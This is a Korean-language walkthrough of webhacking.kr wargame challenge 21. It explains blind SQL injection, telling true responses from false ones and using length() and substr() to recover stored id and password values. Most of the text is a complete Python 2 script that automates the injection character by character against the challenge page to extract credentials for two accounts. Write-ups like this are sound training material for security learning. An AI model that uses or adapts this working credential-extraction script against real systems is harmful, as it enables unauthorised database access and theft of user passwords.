webhacking.kr 21번 문제를 보면 다음과 같다.
BLIND SQL INJECTION 하라고 한다.
BLIND SQL INJECTION을 하기 위해서는 참일 때의 화면과 거짓일 때의 화면을 알아야 한다.
즉, 참과 거짓을 판별할 수 있어야 한다.
일단 입력창에 1을 넣어보자.
url을 보면 get 방식으로 no 와id 그리고 pw가 전달되는 것을 알 수 있으며, no값이 입력창에 입력한 값이 들어가는 것을 알 수 있다.
no가 1일때 아래 Result는 True가 나온다.
no가 3 이상일 때는 다음과 같이 False가 나온다.
no를 이용해 id와 pw를 알아내야 한다.
Result가 False이다.
이번에는 다음과 같은 쿼리문을 넣어보자.
Result가 True이다.
즉, no=2인 id의 길이가 5임을 알 수 있다.
이런식으로 no=2와 no=1의 각 id 길이를 알아낼 수 있다.
그리고 substr() 함수를 이용해 id와 pw를 알아낼 수 있다.
예를 들면 다음과 같은 쿼리문을 넣으면 된다.
no=1인 id의 첫번째 글자는 0x67( g )임을 알 수 있다.
하나하나 입력해보는 것보다 코드를 작성해 자동으로 알아내면 좋을 것 같다.
21.py 파일을 생성해서 다음과 같이 코딩한다.
import urllib2, re
SESSION = ""
passRange = range(ord('a'), ord('z')+1) + range(ord('0'), ord('9')+1)
no1_id_len = 0
no1_pw_len = 0
no1_id_str = ""
no1_pw_str = ""
for i in range(1,100):
print i
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=1%26%26length(id)="+str(i)+"&id=&pw="
req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie", "PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no1_id_len = int(i)
break
print "[no1]_id length : %d" % no1_id_len
for i in range(1,100):
print i
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=1%26%26length(pw)="+str(i)+"&id=&pw="
req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie", "PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no1_pw_len = int(i)
break
print "[no1]_password length : %d" % no1_pw_len
for i in range(no1_id_len):
for j in passRange:
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=1%26%26substr(id,"+str(i+1)+",1)="+str(hex(j))+"&id=&pw="
req = urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie","PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no1_id_str = no1_id_str + chr(j)
print chr(j)
break
print "[no1]_id : %s" % no1_id_str
for i in range(no1_pw_len):
for j in passRange:
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=1%26%26substr(pw,"+str(i+1)+",1)="+str(hex(j))+"&id=&pw="
req = urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie","PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no1_pw_str = no1_pw_str + chr(j)
print chr(j)
break
print "[no1]_password : %s" % no1_pw_str
no2_id_len = 0
no2_pw_len = 0
no2_id_str = ""
no2_pw_str = ""
for i in range(1,100):
print i
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=2%26%26length(id)="+str(i)+"&id=&pw="
req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie", "PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no2_id_len = int(i)
break
print "[no2]_id length : %d" % no2_id_len
for i in range(1,100):
print i
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=2%26%26length(pw)="+str(i)+"&id=&pw="
req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie", "PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no2_pw_len = int(i)
break
print "[no2]_password length : %d" % no2_pw_len
for i in range(no2_id_len):
for j in passRange:
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=2%26%26substr(id,"+str(i+1)+",1)="+str(hex(j))+"&id=&pw="
req = urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie","PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no2_id_str = no2_id_str + chr(j)
print chr(j)
break
print "[no2]_id : %s" % no2_id_str
for i in range(no2_pw_len):
for j in passRange:
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
url += "?no=4||no=2%26%26substr(pw,"+str(i+1)+",1)="+str(hex(j))+"&id=&pw="
req = urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie","PHPSESSID=%s" % SESSION)
if urllib2.urlopen(req).read().find("True") != -1:
no2_pw_str = no2_pw_str + chr(j)
print chr(j)
break
print "[no2]_password : %s" % no2_pw_str
아래 파일은 위 코드를 작성한 python 파일이다.
위 python 파일을 돌리면 no=1의 id, pw와 no=2의 id, pw를 알아낼 수 있다.
no2의 pw를 Auth에 입력하면 문제가 풀린다.